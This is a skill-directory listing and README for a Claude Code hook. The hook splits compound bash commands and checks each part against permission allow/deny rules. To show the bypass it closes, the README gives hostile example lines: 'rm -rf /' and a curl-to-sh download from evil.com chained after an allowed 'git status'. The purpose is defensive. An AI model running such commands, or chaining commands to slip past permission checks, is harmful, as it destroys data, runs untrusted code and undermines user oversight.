liberzon

Smart Approve.py — Development skill for Claude Code

Development community intermediate

PreToolUse (Bash) Decompose compound bash commands (&&, \ \ , ;, \ , $()) into sub-commands and check each against allow/deny patterns.

How to install Smart Approve.py

This entry records only its repository, not the path inside it, so there is no exact command to give. Open liberzon/claude-hooks and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

What Smart Approve.py does

Smart PreToolUse hook for [Claude Code](https://docs.anthropic.com/en/docs/claude-code) that decomposes compound bash commands (`&&`, `||`, `;`, `|`, `$()`, newlines) into individual sub-commands and checks each against the allow/deny patterns in your Claude Code settings.

Alternatives in Development

  • Obsidian Learn — Review vault learnings, prune stale ones, surface active patterns — the vault's lessons compound or expire 277 ★
  • Brief Compliance Check — Check a LaTeX coursework submission against the requirements in a supplied 130 ★
  • Voice Guard — Use to check ONE already-written piece of copy against a voice guide before it ships — it spawns ONE fresh sib 130 ★

README

claude-hooks

Smart PreToolUse hook for [Claude Code](https://docs.anthropic.com/en/docs/claude-code) that decomposes compound bash commands (`&&`, `||`, `;`, `|`, `$()`, newlines) into individual sub-commands and checks each against the allow/deny patterns in your Claude Code settings.

Quick start

# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
  https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

# 2. Add to your Claude Code settings (~/.claude/settings.json)

Add this to your `~/.claude/settings.json` (merge with existing config):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

That's it. The hook runs automatically on every Bash tool call and enforces your existing `permissions.allow` / `permissions.deny` patterns at the sub-command level.

The problem

Claude Code's built-in permission system matches commands as a whole string. A compound command like `git status && rm -rf /` would match an allow pattern for `git status` — even though it also contains `rm -rf /`. This hook splits compound commands apart and evaluates each piece individually, so a deny pattern on `rm` still fires.

Without the hook

You: allow Bash(git status:*)

Claude runs: git status && curl -s http://evil.com | sh
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                          This part is not checked — the whole command
                          matched "git status*"

With the hook

Claude runs: git status && curl -s http://evil.com | sh
             ↓
             Decomposed into:
               1. git status        ✅ matches allow pattern
               2. curl -s http://evil.com  ❌ no allow pattern → prompt shown

...